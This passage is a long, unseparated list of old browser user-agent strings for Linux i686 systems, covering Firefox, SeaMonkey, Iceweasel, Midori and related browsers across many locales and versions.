(X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080913 Firefox/2.0.0.17 Flock/1.2.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20090206 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/20060201 Firefox/2.0.0.6 (Ubuntu-dapper) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9) Gecko/20070314 GranParadiso/3.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009020409 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.6) Gecko/2009020414 CentOS/3.0.6-1.el5.centos Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.15) Gecko/20101027 SeaMonkey/2.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.9) Gecko/20100317 Firefox/3.5.9 Seamonkey/2.0.4 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20060127 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en; rv:1.9.0.6) Gecko/20080528 Epiphany/2.22 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); es-ES; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.7.12) Gecko/20051010 Debian/1.7.12-0ubuntu2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); hu; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); it; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); nl; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); pl; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); ru; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); zh-CN; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 Gentoo; en-US; rv:1.8.1.13) Gecko/20080413 Firefox/2.0.0.13 (Gentoo Linux) Mozilla/5.0 (X11; U; Linux i686) Gecko/20030327 Galeon/1.3.4 Debian/1.3.3.20030419-1 Mozilla/5.0 (X11; U; Linux i686) Gecko/20030430 Galeon/1.3.4 Debian/1.3.4.20030509-1 Mozilla/5.0 (X11; U; Linux i686; Ubuntu 7.04; de-CH; rv:1.8.1.5) Gecko/20070309 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; ca-AD; rv:1.9.0.3) Gecko/2008092816 Iceweasel/3.0.3 (Debian-3.0.3-3) Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.0.7) Gecko/2009032316 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.10) Gecko/20070313 Fedora/1.5.0.10-5.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; cs-cz) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; cs; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; cs; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; cs; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; da; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; da; rv:1.8.1.3) Gecko/20070404 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; de) AppleWebKit/523 midori/0.1 Mozilla/5.0 (X11; U; Linux i686; de) AppleWebKit/523+ (KHTML like Gecko) midori/0.1 Mozilla/5.0 (X11; U; Linux i686; de) AppleWebKit/523+ midori/0.1 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:0.9.8) Gecko/20020204 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.1) Gecko/20020826 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.1) Gecko/20020913 Debian/1.1-1 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2) Gecko/20021203 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2.1) Gecko/20021204 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2.1) Gecko/20021226 Debian/1.2.1-9 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.2a) Gecko/20020910 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3) Gecko/20030312 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3) Gecko/20030327 Debian/1.3-4 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3) Gecko/20030430 Debian/1.3-5 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.3b) Gecko/20030210 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030624 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030812 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030908 Debian/1.4-4 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.5) Gecko/20031007 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.6) Gecko/20040114 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.6) Gecko/20040114 Epiphany/1.0.7 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.6) Gecko/20040115 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.10) Gecko/20050722 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.10) Gecko/20050727 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20050923 Fedora/1.7.12-1.5.1 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.2) Gecko/20040804 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.2) Gecko/20040810 Debian/1.7.2-2 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.2) Gecko/20040906 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.6) Gecko/20050325 Firefox/1.0.2 (Debian package 1.0.2-1) Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.7) Gecko/20050415 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.8) Gecko/20050718 Firefox/1.0.4 (Debian package 1.0.4-2sarge1) Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.10) Gecko/20070306 SeaMonkey/1.0.8 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309 SeaMonkey/1.0 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.15) Gecko/20080620 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.15) Gecko/20080620 Mozilla/4.0 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mnenhy/0.7.6.0 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6 Mozilla/5.0 (X11; U; Linux i686; de-CH; rv:1.7.12) Gecko/20051020 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.10) Gecko/20050825 Firefox/1.0.4 (Debian package 1.0.4-2sarge3) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.10) Gecko/20050912 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050306 Firefox/1.0.1 (Debian package 1.0.1-2) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050322 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8) Gecko/20051201 Fedora/1.5-1.1.fc4.nr Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-1) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.21) Gecko/20090322 SeaMonkey/1.1.15 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8.1.9) Gecko/20071103 Midori/0.0.10 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.9 (Debian-3.0.9-1) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.7) Gecko/2009030422 Linux Mint/5 (Elyssa) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.8) Gecko/2009033017 GranParadiso/3.0.8 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.16) Gecko/20101124 SUSE/2.0.11-2.2 SeaMonkey/2.0.11 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.18) Gecko/20110324 Iceweasel/3.5.18 (like Firefox/3.5.18) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.9 (like Firefox/3.5.9) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1a2pre) Gecko/20080826020557 Minefield/3.1a2pre Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.13) Gecko/20101205 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; de-at) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; de-de) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; de-de) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori Mozilla/5.0 (X11; U; Linux i686; de-de; rv:1.9.0.3) Gecko/2008100922 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-3.el5.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-0.1 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.7) Gecko/20060922 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1) Gecko/20061023 SUSE/2.0-41.1 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.1 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20060911 SUSE/2.0.0.5-1.2 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9) Gecko/2008061015 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0) Gecko/2008061600 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0) Gecko/2008061600 SUSE/3.0-0.2 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.1 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.1) Gecko/2008091621 Gentoo Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.12 (Debian-3.0.12-1) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009061613 CentOS/3.0.11-2.el5.centos Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; de; 